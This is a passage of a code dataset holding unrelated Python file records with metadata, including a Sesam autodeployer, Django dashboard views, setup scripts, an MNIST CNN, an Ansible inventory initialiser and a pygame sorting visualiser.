os.chmod(\"id_deployment_key\", 0o600)\n\n ## we first clone the repo, clean it up, and extract the relevant files to prepare the payload.\n clone_git_repov2()\n clean_git_repo()\n prepare_payload()\n ## we then download the sesam configuration from the api, unpack it, check it ...\n download_sesam_zip()\n unpack_sesam_zip()\n check_for_unknown()\n copy_autodeployer()\n ## ... then we compare the two directories, and if there are differences, we pack the payload\n ## and push it back to the api. This overwrites the existing configuration.\n if not compare_directories(sesam_checkout_dir + \"/\" + \"unpacked\", payload_dir):\n logging.info(\"Uploading new configuration from github to your Sesam node api.\")\n zip_payload()\n upload_payload()\n else:\n logging.info(\"No change, doing nothing.\")\n","sub_path":"service/github-autodeployer.py","file_name":"github-autodeployer.py","file_ext":"py","file_size_in_byte":8853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"412116133","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# --------------------------------------------------------------------------------------------\n# Generated file, DO NOT EDIT\n# Changes may cause incorrect behavior and will be lost if the code is regenerated.\n# --------------------------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass WorkItemTypeColorAndIcon(Model):\n \"\"\"WorkItemTypeColorAndIcon.\n\n :param color:\n :type color: str\n :param icon:\n :type icon: str\n :param work_item_type_name:\n :type work_item_type_name: str\n \"\"\"\n\n _attribute_map = {\n 'color': {'key': 'color', 'type': 'str'},\n 'icon': {'key': 'icon', 'type': 'str'},\n 'work_item_type_name': {'key': 'workItemTypeName', 'type': 'str'}\n }\n\n def __init__(self, color=None, icon=None, work_item_type_name=None):\n super(WorkItemTypeColorAndIcon, self).__init__()\n self.color = color\n self.icon = icon\n self.work_item_type_name = work_item_type_name\n","sub_path":"vsts/vsts/work_item_tracking/v4_0/models/work_item_type_color_and_icon.py","file_name":"work_item_type_color_and_icon.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"597852839","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.urls import reverse\nfrom django.http import HttpResponse, Http404, JsonResponse\nfrom django.contrib import messages\nfrom post_office import mail\nfrom .models import Dashboard, Team, Data, AdvisoryPhase, TeamStatus, \\\n WeekWarning, TeamWarning\nfrom . import forms\nfrom . import utility\nfrom . import emails\n\n\n@login_required\ndef home(request):\n \"\"\" The main home page \"\"\"\n all_dashboards = Dashboard.objects.all().order_by('id')\n context = {\n 'all_dashboards': all_dashboards\n }\n return render(request, \"home.html\", context=context)\n\n\n@login_required\ndef dashboard_overview(request, dashboard_id):\n \"\"\" Dashboard Display page\"\"\"\n dashboard = get_object_or_404(Dashboard, id=dashboard_id)\n if not dashboard.teams.all():\n messages.error(\n request, 'No Teams found in this dashboard. '\n 'Please create some teams.')\n return render(request, \"dashboard_display.html\")\n all_teams = dashboard.teams.order_by('id').all()\n team_list, lrp_list, working_document = (list() for _ in range(3))\n consultant_requests, fellow_requests = (list() for _ in range(2))\n lrp_comment_and_teamid, status_and_teamid = (list() for _ in range(2))\n team_warnings = list()\n for team in all_teams:\n # Create new team status if it does not exits\n try:\n ad_onboard = team.team_status.get_advisor_on_display()\n except TeamStatus.DoesNotExist:\n ts = TeamStatus(team=team)\n ts.save()\n ad_onboard = team.team_status.get_advisor_on_display()\n lr = team.last_response\n if lr:\n last_response_date = lr.submit_date\n topic_discussed = lr.topic_discussed\n else:\n last_response_date = \"No response found\"\n topic_discussed = \"No response found\"\n team_list.append({\n 'teamid': team.id,\n 'name': team.name,\n 'advisor_on': ad_onboard,\n 'kick_off': team.team_status.get_kick_off_display(),\n 'sys_vision': team.team_status.get_sys_vision_display(),\n 'mid_term': team.team_status.get_mid_term_display(),\n 'last_response_date': last_response_date,\n 'topic_discussed': topic_discussed\n })\n\n role_members = team.members.filter(role__short_name=\"LRP\")\n lrp_list.append(', '.join([str(i) for i in role_members]))\n working_document.append(team.working_document)\n consultant_requests.append(team.consultant_request)\n fellow_requests.append(team.fellow_request)\n status_and_teamid.append({\n 'teamid': team.id,\n 'status_color': team.status_color,\n 'status_choice': team.status_choice,\n })\n lrp_comment_and_teamid.append({\n 'teamid': team.id,\n 'comment': team.lrp_comment\n })\n # Create new team warnings if it does not exits\n try:\n team_warnings.append(team.warnings)\n except TeamWarning.DoesNotExist:\n tw = TeamWarning(team=team)\n tw.save()\n team_warnings.append(team.warnings)\n dates = {\n 'start_date': dashboard.advisory_start_date,\n 'end_date': dashboard.advisory_end_date,\n 'total_weeks': dashboard.total_weeks,\n 'current_week': dashboard.current_week,\n }\n progress_percentage = int(\n (dates['current_week'] / dates['total_weeks']) * 100)\n context = {\n 'teams': team_list,\n 'LRPs': lrp_list,\n 'working_document': working_document,\n 'consultant_request': consultant_requests,\n 'fellow_requests': fellow_requests,\n 'status': status_and_teamid,\n 'lrp_comment': lrp_comment_and_teamid,\n 'dates': dates,\n 'team_warnings': team_warnings,\n 'progress_percentage': progress_percentage,\n 'dashboard': dashboard,\n }\n return render(request, \"dashboard_display.html\", context=context)\n\n\ndef consultant_submit(request, hash_value):\n \"\"\" Consultant Survey from request and response \"\"\"\n dashboard = Data.decode_data(hash_value)\n dashboard = get_object_or_404(Dashboard, pk=int(dashboard))\n if request.method == 'POST':\n form = forms.ConsultantSurveyForm(dashboard, request.POST)\n if form.is_valid():\n team_object = form.cleaned_data['team']\n # It is necessary to save the object without commit\n # and then add the team id\n entry = form.save(commit=False)\n # Form does not contain team id. So add it.\n entry.team = team_object\n # Save new instance\n entry.save()\n # Save many to many data from the Form\n form.save_m2m()\n # Increase missing call count for each missing member\n for m in form.cleaned_data['missing_member']:\n m.missed_calls += 1\n m.save()\n # Send email to LRP if there is a request in the response\n if form.cleaned_data['help']:\n request = utility.html_decode(form.cleaned_data['help'])\n emails.send_request_email(\n team_object, request, 'consultant_request')\n return redirect(reverse(thanks))\n else:\n form = forms.ConsultantSurveyForm(dashboard)\n return render(\n request, \"survey_template.html\",\n context={\n 'cs': True,\n 'form': form\n }\n )\n\n\ndef thanks(request):\n \"\"\" Survey response acknowledgement page \"\"\"\n return render(request, \"thank_you.html\")\n\n\ndef fellow_submit(request, hash_value):\n \"\"\" Fellow Survey from request and response \"\"\"\n dashboard_id = Data.decode_data(hash_value)\n dashboard = get_object_or_404(Dashboard, pk=dashboard_id)\n if request.method == \"POST\":\n form = forms.FellowSurveyForm(dashboard, request.POST)\n if form.is_valid():\n form.save()\n # Send email to LRP if there is a request in the response\n if form.cleaned_data['other_help']:\n request = utility.html_decode(form.cleaned_data['help'])\n team_object = form.cleaned_data['team']\n emails.send_request_email(\n team_object, request, 'fellow_request')\n return redirect(reverse(thanks))\n else:\n form = forms.FellowSurveyForm(dashboard)\n return render(request, \"survey_template.html\", context={'form': form})\n\n\n@login_required\ndef show_urls(request):\n \"\"\" Show all form urls \"\"\"\n dashboards = Dashboard.objects.all()\n survey_urls = list()\n for d in dashboards:\n survey_urls.append(\n dict(name=d.name,\n f_url=d.fellow_form_url,\n c_url=d.consultant_form_url))\n return render(request, \"show_urls.html\",\n context={'survey_urls': survey_urls})\n\n\n@login_required\ndef update_status(request):\n \"\"\"\n Update dashboard values. Request is sent via dialog boxes on the\n dashboard page.\n \"\"\"\n if request.method == \"GET\":\n return redirect('index')\n # Contains possible fields that can be changed\n # Format:\n # field to be changed: form field id\n possible_status_change = {\n 'advisor_onboarding_status': 'advisor_onboarding_status',\n 'kick_off_status': 'kick_off_status',\n 'sys_vision_status': 'sys_vision_status',\n 'mid_term_status': 'mid_term_status',\n 'advisor_onboarding_comment': 'advisor_onboarding_comment',\n 'kick_off_comment': 'kick_off_comment',\n 'sys_vision_comment': 'sys_vision_comment',\n 'mid_term_comment': 'mid_term_comment',\n 'change_calls_count': 'change_calls_count',\n 'Automatic Reminder Status': 'automatic_reminder_status',\n }\n\n for change, name in possible_status_change.items():\n if name in request.POST:\n return JsonResponse(\n utility.update_team_status_value(request, name)\n )\n return JsonResponse({\n \"message\": \"Error: Unknown action.\",\n \"status\": \"error\"\n })\n\n\n@login_required\ndef update_team(request):\n if request.method == \"GET\":\n return redirect('index')\n\n # Contains possible fields that can be changed\n # Format:\n # field to be changed: form field id\n possible_team_change = {\n 'Team Status Color': 'newStatusColor',\n 'LRP Comment': 'LRPComment'\n }\n for change, name in possible_team_change.items():\n if name in request.POST:\n status = utility.update_team_value(request, name)\n return JsonResponse(status)\n return JsonResponse(\n {\"message\": \"Error: Unknown action.\", 'status': 'error'})\n\n\n@login_required\ndef update_member(request):\n if request.method == \"GET\":\n return redirect('index')\n\n possible_member_change = {\n 'Member_comment': 'member_comment',\n 'secondary_role_change': 'secondary_role_change',\n 'role_comment': 'role_comment',\n 'participates_in_call': 'participates_in_call'\n }\n for change, name in possible_member_change.items():\n if name in request.POST:\n return JsonResponse(utility.update_member_value(request, name))\n return {\n \"message\": \"Error: Unknown action.\",\n \"status\": \"error\"\n }\n\n\n@login_required\ndef team_detail(request, team_id):\n \"\"\"\n Display details about the team\n :param team_id: Id of the team\n \"\"\"\n team_object = get_object_or_404(Team, pk=team_id)\n\n # Get team status object.\n # Create new object if none found.\n try:\n team_status = team_object.team_status\n except Team.team_status.RelatedObjectDoesNotExist:\n team_status = TeamStatus.objects.create(team=team_object)\n team_status.save()\n absolute_url = request.build_absolute_uri(\n team_object.dashboard.consultant_form_url)\n r_email = emails.create_email(\"reminder_email\", absolute_url)\n w_email = emails.create_email(\"welcome_email\", absolute_url)\n lr = team_object.last_response\n total_calls = team_object.consultant_surveys.all().count()\n current_week = WeekWarning.objects.filter(\n week_number=team_object.dashboard.current_week).values('calls_r')\n expected_calls = current_week[0].get('calls_r',\n '') if current_week else None\n calls = {\n 'total': total_calls,\n 'expected': int(expected_calls) + 1 if expected_calls else 0\n }\n context = {\n 'team': team_object,\n 'team_members': team_object.members.all().order_by('role_id'),\n 'team_status': team_status,\n 'c_responses': team_object.consultant_surveys.all().order_by('id'),\n 'f_responses': team_object.fellow_surveys.all().order_by('id'),\n 'welcome_email': w_email,\n 'reminder_email': r_email,\n 'team_warnings': team_object.warnings,\n 'last_response': lr.submit_date if lr else '',\n 'calls': calls\n }\n return render(request, \"team_display.html\", context=context)\n\n\n@login_required\ndef send_email(request):\n \"\"\"\n Sends email to a list of recipients. All required data is received\n from a Form.\n \"\"\"\n if request.method == \"GET\":\n return redirect(reverse(home))\n subject = request.POST.get('email_subject', '')\n body = request.POST.get('email_body', '')\n to = request.POST.getlist('send_to')\n if not to:\n messages.error(request, \"Please select at least one recipient\")\n return redirect(request.META.get('HTTP_REFERER', 'index'))\n elif not subject:\n messages.error(request, \"Cannot send email without Subject\")\n return redirect(request.META.get('HTTP_REFERER', 'index'))\n elif not body:\n messages.error(request, \"Cannot send email without Email Body\")\n return redirect(request.META.get('HTTP_REFERER', 'index'))\n mail.send(\n to,\n subject=subject,\n message=body,\n priority='now',\n )\n\n return redirect(request.META.get('HTTP_REFERER', 'index'))\n\n\n@login_required\ndef show_warnings(request):\n warnings = list(WeekWarning.objects.all().order_by('week_number'))\n phases = list(AdvisoryPhase.objects.all().order_by('phase_number'))\n return render(request, 'show_warnings.html', context={\n 'warnings': warnings, 'phases': phases})\n\n\ndef get_members(request):\n \"\"\"\n Handles the AJAX request sent by the Consultant survey form.\n :returns: list of members\n \"\"\"\n if request.is_ajax():\n try:\n team_id = request.POST.get('team_id')\n try:\n team_id = int(team_id)\n except ValueError:\n return HttpResponse(\"Invalid Team ID: \", team_id)\n team = get_object_or_404(Team, pk=team_id)\n member_list = list(team.members.filter(\n participates_in_call=True).values('name', 'id'))\n if not member_list:\n return HttpResponse(\"No Team members found\")\n return HttpResponse(str(member_list))\n except Exception as e:\n return HttpResponse(e) # incorrect post\n else:\n raise Http404\n\n\n@login_required\ndef refresh_team_warnings(request):\n \"\"\"\n Handles the AJAX request sent from the dashboard page to refresh team\n warnings.\n \"\"\"\n if request.is_ajax():\n try:\n dashboard_id = request.POST.get('dashboard_id')\n try:\n dashboard_id = int(dashboard_id)\n except ValueError:\n return HttpResponse(\"Invalid Dashboard ID: \", dashboard_id)\n dashboard = get_object_or_404(Dashboard, pk=dashboard_id)\n for team in dashboard.teams.all():\n update_warnings_object = utility.UpdateWarnings(team)\n update_warnings_object.check_all_warnings()\n return HttpResponse(\n \"Warnings related to all teams refreshed successfully\")\n except Exception as e:\n return HttpResponse(e) # incorrect post\n else:\n raise Http404\n","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"98551905","text":"import os\n\nfrom setuptools import setup, find_packages\n\nhere = os.path.abspath(os.path.dirname(__file__))\nwith open(os.path.join(here, 'README.md')) as f:\n README = f.read()\nwith open(os.path.join(here, 'CHANGELOG.md')) as f:\n CHANGES = f.read()\n\nimport sample_project\n\nrequires = [\n 'SQLAlchemy',\n 'six',\n]\n\ntests_require = [\n 'WebTest >= 1.3.1', # py3 compat\n 'pytest', # includes virtualenv\n 'pytest-cov',\n]\n\nsetup(name='sample_project',\n version='.'.join([str(v) for v in sample_project.__version__]),\n description='',\n long_description=README + '\\n\\n' + CHANGES,\n classifiers=[\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Topic :: Software Development :: Libraries\",\n \"Topic :: Utilities\",\n ],\n author='TerryXi',\n author_email='greenhoop777@gmail.com',\n url='',\n keywords='web',\n packages=find_packages(),\n include_package_data=True,\n zip_safe=False,\n extras_require={\n 'testing': tests_require,\n },\n install_requires=requires,\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"376406475","text":"import os\nimport json\nfrom collections import OrderedDict\n\ndef importConfig():\n helpMessage = ' Please go to the Github page for manual instructions: https://github.com/jaszhix/icingtaskmanager'\n\n applets = ['WindowListGroup@jake.phy@gmail.com', 'IcingTaskManager@json']\n\n oldPinned = None\n\n for applet in applets:\n\n path = os.getenv('HOME')+'/.cinnamon/configs/'+applet\n\n try:\n configName = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]\n configPath = path+'/'+configName[0]\n with open(configPath) as data: \n config = json.load(data)\n\n try:\n if 'WindowListGroup' in applet:\n oldPinned = config['pinned-apps']\n else:\n orderedConfig = OrderedDict([\n ('ITM', config['ITM']), \n ('seperator0', config['seperator0']), \n ('autoUpdate', config['autoUpdate']),\n ('WindowList', config['WindowList']), \n ('seperator1', config['seperator1']), \n ('number-display', config['number-display']), \n ('title-display', config['title-display']),\n ('pinned-apps', config['pinned-apps']),\n ('group-apps', config['group-apps']), \n ('show-alerts', config['show-alerts']),\n ('show-pinned', config['show-pinned']),\n ('arrange-pinnedApps', config['arrange-pinnedApps']),\n ('pinOnDrag', config['pinOnDrag']),\n ('middle-click-action', config['middle-click-action']),\n ('cycleMenusHotkey', config['cycleMenusHotkey']),\n ('show-apps-order-hotkey', config['show-apps-order-hotkey']),\n ('show-apps-order-timeout', config['show-apps-order-timeout']),\n ('Thumbnails', config['Thumbnails']),\n ('seperator4', config['seperator3']),\n ('thumbnail-timeout', config['thumbnail-timeout']),\n ('thumbnail-size', config['thumbnail-size']),\n ('show-thumbnails', config['show-thumbnails']),\n ('animate-thumbnails', config['animate-thumbnails']),\n ('vertical-thumbnails', config['vertical-thumbnails']),\n ('sort-thumbnails', config['sort-thumbnails']),\n ('onclick-thumbnails', config['onclick-thumbnails']),\n ('include-all-windows', config['include-all-windows']),\n ('AppMenu', config['AppMenu']),\n ('seperator5', config['seperator4']),\n ('show-recent', config['show-recent']),\n ('menuItemType', config['menuItemType']),\n ('firefox-menu', config['firefox-menu']),\n ('autostart-menu-item', config['autostart-menu-item']),\n ('monitor-move-all-windows', config['monitor-move-all-windows']),\n ('HoverPeek', config['HoverPeek']),\n ('seperator3', config['seperator2']),\n ('enable-hover-peek', config['enable-hover-peek']),\n ('hover-peek-time', config['hover-peek-time']),\n ('hover-peek-opacity', config['hover-peek-opacity']),\n ('ThemeSettings', config['ThemeSettings']),\n ('seperator2', config['seperator2']),\n ('show-active', config['show-active']),\n ('icon-spacing', config['icon-spacing']),\n ('icon-padding', config['icon-padding']),\n ('themePadding', config['themePadding']),\n ('enable-iconSize', config['enable-iconSize']),\n ('icon-size', config['icon-size']),\n ('hoverPseudoClass', config['hoverPseudoClass']),\n ('focusPseudoClass', config['focusPseudoClass']),\n ('activePseudoClass', config['activePseudoClass']),\n ('panelLauncherClass', config['panelLauncherClass']),\n ('close-button-style', config['close-button-style']),\n ('useSystemTooltips', config['useSystemTooltips']),\n ('__md5__', config['__md5__']),\n ])\n\n orderedConfig['pinned-apps'] = oldPinned\n orderedConfig['pinned-apps']['default'] = []\n\n with open(configPath, 'wb') as data: \n data.write(json.dumps(orderedConfig))\n\n except KeyError:\n print('Old configuration file is corrupt.'+helpMessage)\n return\n except OSError:\n print('There was an issue importing your pinned apps.'+helpMessage)\n return\n\n print('Pinned apps imported successfully. Please restart Cinnamon for the changes to come into effect.')\n\nimportConfig()","sub_path":"IcingTaskManager@json/importPinned.py","file_name":"importPinned.py","file_ext":"py","file_size_in_byte":5517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"105376143","text":"from os import listdir\nfrom os.path import isfile, join\nimport json\n\n\"\"\"\nSimple python snippet that reads all file and directory names in \na directory and creates a json array out of them.\n\"\"\"\n\nmypath = \"/path/to/your/directory\"\n\ndef main():\n data = []\n onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n for file in onlyfiles:\n data.append({ \"name\": file })\n\n jsonData = json.dumps(data)\n f = open(\"result.json\", \"a\")\n f.write(jsonData)\n f.close()\n\nif __name__ == \"__main__\":\n main()","sub_path":"filenamesToJson/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"208199725","text":"from ..core.request_handler import BaseRequest\n\nfrom .interface import Language\n\n\nclass LanguageRecognizer(BaseRequest):\n\t__slots__ = BaseRequest.__slots__\n\tjson = True\n\n\t@staticmethod\n\tdef builder(response):\n\t\treturn tuple(\n\t\t\tLanguage(\n\t\t\t\tlanguage=lang['language'],\n\t\t\t\tencoding=lang['encoding'],\n\t\t\t\tweight=lang['weight'],\n\t\t\t) for lang in response[\"languages\"]\n\t\t)\n\n\tdef text(self, text):\n\t\tpath = 'recognizeLanguage'\n\n\t\treturn self._post(\n\t\t\tpath=path,\n\t\t\tfields={},\n\t\t\tbody=text,\n\t\t)\n","sub_path":"intellexer/language_recognizer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"513035094","text":"import sys\ndef check_answer(answer, help_text=\"Oops something went wrong, try once again!: \"):\n help_dict={\"BIGGER\":1, \"SMALLER\":-1, \"OK\":0}\n while answer.isdigit() or answer not in help_dict:\n answer=input(help_text).upper()\n if answer in help_dict:\n break\n return help_dict[answer]\ndef game():\n list_of_numbers=list(range(0,101))\n my_guess=50\n number_of_guesses=0\n help_text=\"Give me a clue, is it bigger or smaller? Type OK if I already guessed.: \"\n print(\"Guessing game!\")\n print(\"Now I will try to guess the number you're thinking of!(in a range from 0 to 100)\\n\\n\\n\")\n while list_of_numbers:\n print(\"Is it %d??\" %(my_guess))\n clue=check_answer(input(help_text).upper(),help_text)\n half=int(len(list_of_numbers)/2)\n if clue > 0:\n list_of_numbers=list_of_numbers[half:]\n number_of_guesses+=1\n my_guess=int((list_of_numbers[-1]+list_of_numbers[0])/2)\n elif clue < 0:\n list_of_numbers=list_of_numbers[:half]\n number_of_guesses+=1\n my_guess=int((list_of_numbers[-1]+list_of_numbers[0])/2)\n else:\n print(\"Hehehe I won!!! I guessed after %d tries. Pretty good, right?\" %(number_of_guesses))\n break\n else:\n print(\"I'm pretty sure you cheated, don't you?\")\ngame()\n","sub_path":"Guessing_Game_Two.py","file_name":"Guessing_Game_Two.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"459500536","text":"from MNIST_Parameters import *\r\nfrom MNIST_Data import *\r\nimport torchsnooper\r\n\r\n#定义卷积层的厚度\r\ndepth=[4,8]\r\n\r\n#构建卷积神经网络\r\n\r\nclass ConvNet(nn.Module):\r\n def __init__(self):\r\n super(ConvNet, self).__init__()\r\n self.conv1=nn.Conv2d(1,4,5,padding=2)\r\n self.pool=nn.MaxPool2d(2,2)\r\n self.conv2=nn.Conv2d(depth[0],depth[1],5,padding=2)\r\n self.fc1=nn.Linear(image_size//4*image_size//4*depth[1],512) #把元素展开\r\n self.fc2=nn.Linear(512,num_classes)\r\n\r\n def forward(self,x):\r\n x=self.conv1(x)\r\n x=F.relu(x)\r\n x=self.pool(x)\r\n x=self.conv2(x)\r\n x=F.relu(x)\r\n x=self.pool(x)\r\n x=x.view(-1,image_size//4*image_size//4*depth[1])\r\n x=F.relu(self.fc1(x))\r\n x=F.dropout(x,training=self.training)\r\n x=self.fc2(x)\r\n x=F.log_softmax(x,dim=1)\r\n return x\r\n\r\n #用于对训练好的神经网络进行剖析时用的函数,可以提取各卷积层的权重\r\n\r\n def retrieve_features(self,x):\r\n feature_map1=F.relu(self.conv1(x))\r\n x=self.pool(feature_map1)\r\n feature_map2=F.relu(self.conv2(x))\r\n return (feature_map1,feature_map2)\r\n\r\nnet=ConvNet()\r\n\r\n\r\n\r\n","sub_path":"MNIST_NN.py","file_name":"MNIST_NN.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"273005379","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nfrom inspect import getsourcefile\nimport json\nimport glob\nimport argparse\nimport yaml\nfrom collections import OrderedDict\nimport logging\nimport logging.config\n\nlogger = logging.getLogger(__name__)\n\nDEF_LOGGING_FORMAT = (\"%(asctime)s - %(name)s - %(levelname)s - \"\n \"[%(filename)s:%(lineno)d]: %(message)s\")\nDEF_LOGLEVEL = logging.INFO\n\n\ndef _init_roles_defaults():\n proj_dir = os.getenv('ANSIBLE_PROJECT_DIR')\n if not proj_dir:\n script_path = os.path.abspath(getsourcefile(lambda: 0))\n proj_dir = os.path.abspath(os.path.join(os.path.dirname(script_path), '..'))\n else:\n proj_dir = os.path.abspath(proj_dir)\n\n roles = {os.path.basename(r): {'path': r} for r in glob.iglob(\"{}/roles/*\".format(proj_dir))}\n\n if not roles:\n logger.error(\"No roles are found in {}\".format(proj_dir))\n raise RuntimeError(\"No roles are found in {}\".format(proj_dir))\n\n for role, params in roles.iteritems():\n _fpath = \"{}/defaults/main.yml\".format(params['path'])\n try:\n with open(_fpath, 'r') as _f:\n roles[role]['defaults'] = yaml.safe_load(_f)\n except IOError:\n logger.debug(\"Ignoring absense of the file {}\".format(_fpath))\n\n return roles\n\n\ndef _clear_logging():\n for handler in logging.root.handlers[:]:\n handler.flush()\n logging.root.removeHandler(handler)\n handler.close()\n\n\ndef _set_logging(logconfig_path=None):\n _clear_logging()\n if logconfig_path:\n with open(logconfig_path, \"rb\") as f:\n logging.config.dictConfig(\n json.load(f, object_pairs_hook=OrderedDict)\n )\n else:\n logging.basicConfig(level=DEF_LOGLEVEL, format=DEF_LOGGING_FORMAT)\n\n\ndef _parse_args(roles):\n parser = argparse.ArgumentParser(\n description=\"Inventory Init Tool\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('inventory-dir',\n help='path to inventory directory')\n\n for role, params in roles.iteritems():\n if 'defaults' not in params:\n continue\n\n _group = parser.add_argument_group(\n \"{} vars\".format(role)\n )\n for p, d in params['defaults'].iteritems():\n _help_kwargs = {'metavar': \"{}\".format(type(d).__name__).upper()}\n if type(d) is list:\n _help_kwargs['nargs'] = '+'\n _help_kwargs['metavar'] = 'ITEM'\n elif type(d) is dict:\n _help_kwargs['metavar'] = 'JSON'\n _help_kwargs['type'] = json.loads\n elif type(d) in (int, float):\n _help_kwargs['type'] = type(d)\n\n _group.add_argument(\"--{}.{}\".format(role, p), **_help_kwargs)\n\n parser.add_argument(\"--logconfig\", metavar=\"PATH\", default=None,\n help=(\"Path to json-formatted logging configuration\"\n \" file, if not defined the one the basic\"\n \" one will be used\"))\n\n parser.add_argument(\"--show-defaults\", action=\"store_true\",\n help=\"Show defaults and exit\")\n\n return vars(parser.parse_args())\n\n\ndef _dump_defaults(roles):\n for role, params in roles.iteritems():\n if 'defaults' in params:\n print(role.upper())\n print(yaml.safe_dump(params['defaults'], default_flow_style=False))\n\n\ndef _specify_localhost(inventory_dir):\n localhost_spec = {\n 'all': {\n 'hosts': {\n 'localhost': {\n 'ansible_connection': 'local',\n 'ansible_python_interpreter': '{{ ansible_playbook_python }}'\n }\n }\n }\n }\n\n with open(os.path.join(inventory_dir, 'localhost.yml'), \"w\") as _f:\n _f.write('---\\n')\n yaml.safe_dump(localhost_spec, _f, default_flow_style=False)\n\n\ndef main():\n\n _set_logging()\n\n roles = _init_roles_defaults()\n\n args = _parse_args(roles)\n\n # output default api settings\n\n # config logging\n if args['logconfig'] is not None:\n _set_logging(args['logconfig'])\n\n logger.debug(\"Cmd line arguments: {}\".format(args))\n\n if args[\"show_defaults\"]:\n _dump_defaults(roles)\n exit(0)\n\n # create inventory dir hierarchy\n group_vars_dir = \"{}/group_vars/all\".format(args['inventory-dir'])\n if not os.path.isdir(group_vars_dir):\n os.makedirs(group_vars_dir)\n\n # dump configs\n # TODO consider to use Ansible's 'to_nice_yaml' from\n # ansible.plugins.filter.core.py BUT it's not a public API\n with open(\"{}/config.yml\".format(group_vars_dir), \"w\") as _f:\n _f.write('---\\n')\n\n for role, params in roles.iteritems():\n if 'defaults' not in params:\n continue\n\n _f.write(\"\\n# {0} {1} {0}\\n\".format('=' * 20, role))\n # construct user specified config parameters\n config = {}\n for _p in params['defaults'].keys():\n _arg_name = \"{}.{}\".format(role, _p)\n if args.get(_arg_name):\n config[_p] = args[_arg_name]\n\n if config:\n yaml.safe_dump(config, _f, default_flow_style=False)\n\n _s = yaml.safe_dump(params['defaults'], default_flow_style=False)\n _f.write(''.join([\"\\n# defaults\\n\\n\"] + [\"#{}\".format(_l) for _l in _s.splitlines(True)]))\n\n # add inventory file for localhost\n _specify_localhost(args['inventory-dir'])\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"pool_automation/scripts/inventory-init.py","file_name":"inventory-init.py","file_ext":"py","file_size_in_byte":5618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"319708279","text":"from setuptools import setup, find_packages\nimport os\n\nversion = '1.0'\n\nsetup(name='collective.synchronisedworkflow',\n version=version,\n description=\"Causes translated Plone content to share the same workflow state.\",\n long_description=open(os.path.join('src', 'collective', 'synchronisedworkflow', 'README.txt')).read() + \"\\n\" +\n open(os.path.join(\"docs\", \"HISTORY.txt\")).read(),\n # Get more strings from http://www.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n \"Programming Language :: Python\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Framework :: Plone\",\n \"Framework :: Zope2\",\n \"Topic :: Software Development :: Internationalization\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: End Users/Desktop\",\n \"License :: OSI Approved :: GNU General Public License (GPL)\",\n \"Development Status :: 4 - Beta\",\n ],\n keywords='',\n author='Matthew Wilkes',\n author_email='matthew@circulartriangle.eu',\n url='',\n license='GPL',\n package_dir = {'':'src'},\n packages=find_packages('src', exclude=['ez_setup']),\n namespace_packages=['collective'],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'setuptools',\n 'Products.LinguaPlone',\n 'Products.CMFCore',\n 'collective.testcaselayer',\n ],\n entry_points=\"\"\"\n # -*- Entry points: -*-\n \"\"\",\n )\n","sub_path":"pypi_install_script/collective.synchronisedworkflow-1.0/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"645199299","text":"import pygame\nfrom pygame_widgets import Button, Slider\nimport math\nimport random\nfrom Bars import Bars\n\n\nclass BarsContainer:\n def __init__(self, mainObj, x, y, width, height, bw):\n self.mainObj = mainObj\n self.x = x\n self.y = y\n self.WIDTH = width\n self.HEIGHT = height\n self.BW = bw\n self.space = (self.BW//5) + 1\n self.numberBars = (self.WIDTH // (self.BW + self.space))-1\n self.THICKNESS = 4\n self.red = (255,0,0)\n self.green = (0,255,0)\n self.yellow = (255,255,0)\n self.purple = (80, 40, 130)\n self.blue = (0,0,255)\n self.buttons = self.generateButtons()\n self.generateSlider() \n self.bars = self.create_bars()\n self.idx = 0\n self.jdx = 0\n self.bubbleSorting = False\n self.insertionSorting = False\n self.pancakeSorting = False\n self.font = pygame.font.SysFont(\"Copperplate-Light\", 25)\n self.noSwaps = 0\n\n def drawText(self, algo,worst,best,average,space):\n text = self.font.render(f\"Algortihm: {algo}\",True,(0,0,0))\n self.mainObj.surface.blit(text, (self.x+10,self.y-75))\n text = self.font.render(f\"Worst Case Time Complexity: {worst}\",True,(0,0,0))\n 